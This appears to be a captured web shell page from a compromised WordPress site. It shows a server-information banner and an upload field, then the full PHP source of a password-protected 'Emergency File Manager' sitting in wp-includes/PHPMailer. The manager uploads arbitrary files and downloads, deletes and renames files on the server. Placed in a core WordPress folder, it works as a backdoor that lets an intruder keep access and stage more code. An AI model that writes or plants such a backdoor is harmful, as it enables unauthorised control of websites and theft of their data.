| Server IP : 127.0.0.1 / Your IP : 216.73.216.109 Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10 System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64 User : SERVERWEB ( 0) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/laragon/www/prensa/wp-includes/PHPMailer/ |
Upload File : |
<?php
// Emergency File Manager with Folder Navigation
session_start();
// ----- CONFIG -----
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Password hash untuk "xero"
define('CONFIG_PASSWORD_HASH', '$2b$10$UEe4evYc89DjzPXknlbAaeJCp/Qzq1m3IvmDweVnNKR5s.iw0RAVC');
// Base dir = direktori di mana file manager diletakkan
define('CONFIG_BASE_DIR', realpath(__DIR__));
define('CONFIG_MAX_UPLOAD_BYTES', 50 * 1024 * 1024);
// ----- HELPERS -----
function is_logged_in() {
return !empty($_SESSION['emfm_logged']) && $_SESSION['emfm_logged'] === true;
}
function require_login() {
if (!is_logged_in()) {
header('Location: ?action=login');
exit;
}
}
function gen_random($len = 16) {
if (function_exists('random_bytes')) return bin2hex(random_bytes($len));
elseif (function_exists('openssl_random_pseudo_bytes')) return bin2hex(openssl_random_pseudo_bytes($len));
return bin2hex(mt_rand() . uniqid('', true));
}
function csrf_token() {
if (empty($_SESSION['emfm_csrf'])) $_SESSION['emfm_csrf'] = gen_random(16);
return $_SESSION['emfm_csrf'];
}
function check_csrf($t) {
return !empty($t) && !empty($_SESSION['emfm_csrf']) && hash_equals($_SESSION['emfm_csrf'], $t);
}
function safe_path($path) {
$base = CONFIG_BASE_DIR;
$joined = realpath($path);
if ($joined === false) return false;
if (strpos($joined, $base) !== 0) return false;
return $joined;
}
function list_dir($dir) {
$out = [];
$it = new DirectoryIterator($dir);
foreach ($it as $f) {
if ($f->isDot()) continue;
$out[] = [
'name' => $f->getFilename(),
'is_dir' => $f->isDir(),
'size' => $f->isFile() ? $f->getSize() : 0,
'mtime' => $f->getMTime()
];
}
usort($out, function($a,$b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
return $out;
}
// ----- ROUTING -----
$action = $_REQUEST['action'] ?? 'home';
// LOGIN
if ($action === 'login') {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$pw = $_POST['password'] ?? '';
if (password_verify($pw, CONFIG_PASSWORD_HASH)) {
$_SESSION['emfm_logged'] = true;
csrf_token();
header('Location: ?');
exit;
} else {
$err = "Login gagal!";
}
}
?>
<!doctype html><html><head><meta charset="utf-8"><title>Login</title></head><body>
<h2>Login</h2>
<?php if(!empty($err)) echo "<p style='color:red;'>$err</p>"; ?>
<form method="post">
<input type="password" name="password" placeholder="Password" autofocus>
<button type="submit">Login</button>
</form>
</body></html>
<?php exit;
}
if ($action === 'logout') {
session_destroy();
header('Location: ?action=login');
exit;
}
require_login();
// Current directory (default base dir)
$rel = $_GET['dir'] ?? '';
$curDir = realpath(CONFIG_BASE_DIR . '/' . $rel);
if ($curDir === false || strpos($curDir, CONFIG_BASE_DIR) !== 0) $curDir = CONFIG_BASE_DIR;
// UPLOAD
if ($action === 'upload' && $_SERVER['REQUEST_METHOD'] === 'POST') {
if (!check_csrf($_POST['csrf'] ?? '')) { $msg = 'CSRF invalid'; }
elseif (!isset($_FILES['file'])) { $msg = 'No file'; }
else {
$f = $_FILES['file'];
$dst = $curDir . '/' . basename($f['name']);
if (move_uploaded_file($f['tmp_name'], $dst)) $msg = "Uploaded " . htmlspecialchars($f['name']);
else $msg = "Upload gagal!";
}
}
// DOWNLOAD
if ($action === 'download' && !empty($_GET['file'])) {
$path = safe_path($curDir . '/' . $_GET['file']);
if ($path === false || !is_file($path)) { http_response_code(404); echo "Not found"; exit; }
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($path).'"');
header('Content-Length: '.filesize($path));
readfile($path);
exit;
}
// DELETE
if ($action === 'delete' && $_SERVER['REQUEST_METHOD'] === 'POST') {
if (check_csrf($_POST['csrf'] ?? '')) {
$path = safe_path($curDir . '/' . $_POST['file']);
if ($path && is_file($path)) {
unlink($path); $msg = "Deleted " . htmlspecialchars($_POST['file']);
}
}
}
// RENAME
if ($action === 'rename' && $_SERVER['REQUEST_METHOD'] === 'POST') {
if (check_csrf($_POST['csrf'] ?? '')) {
$old = safe_path($curDir . '/' . $_POST['file']);
$new = basename($_POST['newname']);
if ($old && is_file($old)) {
rename($old, $curDir.'/'.$new); $msg = "Renamed!";
}
}
}
// LIST
$items = list_dir($curDir);
$relPath = str_replace(CONFIG_BASE_DIR, '', $curDir);
?>
<!doctype html><html><head><meta charset="utf-8"><title>File Manager</title>
<style>body{font-family:sans-serif}table{border-collapse:collapse}td,th{border:1px solid #ddd;padding:5px}</style>
</head><body>
<h2>File Manager</h2>
<p>Current: <?php echo htmlspecialchars($relPath ?: '/'); ?> | <a href="?action=logout">Logout</a></p>
<?php if(!empty($msg)) echo "<p style='color:green;'>$msg</p>"; ?>
<h3>Upload</h3>
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?php echo urlencode($relPath); ?>">
<input type="hidden" name="csrf" value="<?php echo htmlspecialchars(csrf_token()); ?>">
<input type="file" name="file"><button>Upload</button>
</form>
<h3>Files & Folders</h3>
<table>
<tr><th>Name</th><th>Size</th><th>Modified</th><th>Actions</th></tr>
<?php if($curDir !== CONFIG_BASE_DIR): ?>
<tr><td colspan="4"><a href="?dir=<?php echo urlencode(dirname($relPath)); ?>">.. (Up)</a></td></tr>
<?php endif; ?>
<?php foreach($items as $it): ?>
<tr>
<td>
<?php if($it['is_dir']): ?>
<a href="?dir=<?php echo urlencode(trim($relPath.'/'.$it['name'],'/')); ?>"><?php echo htmlspecialchars($it['name']); ?>/</a>
<?php else: ?>
<?php echo htmlspecialchars($it['name']); ?>
<?php endif; ?>
</td>
<td><?php echo $it['is_dir'] ? '-' : number_format($it['size']); ?></td>
<td><?php echo date('Y-m-d H:i:s',$it['mtime']); ?></td>
<td>
<?php if(!$it['is_dir']): ?>
<a href="?action=download&dir=<?php echo urlencode($relPath); ?>&file=<?php echo urlencode($it['name']); ?>">Download</a> |
<form method="post" action="?action=delete&dir=<?php echo urlencode($relPath); ?>" style="display:inline" onsubmit="return confirm('Delete?');">
<input type="hidden" name="csrf" value="<?php echo htmlspecialchars(csrf_token()); ?>">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($it['name']); ?>">
<button>Delete</button>
</form> |
<form method="post" action="?action=rename&dir=<?php echo urlencode($relPath); ?>" style="display:inline">
<input type="hidden" name="csrf" value="<?php echo htmlspecialchars(csrf_token()); ?>">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($it['name']); ?>">
<input type="text" name="newname" placeholder="New name">
<button>Rename</button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>
</body></html>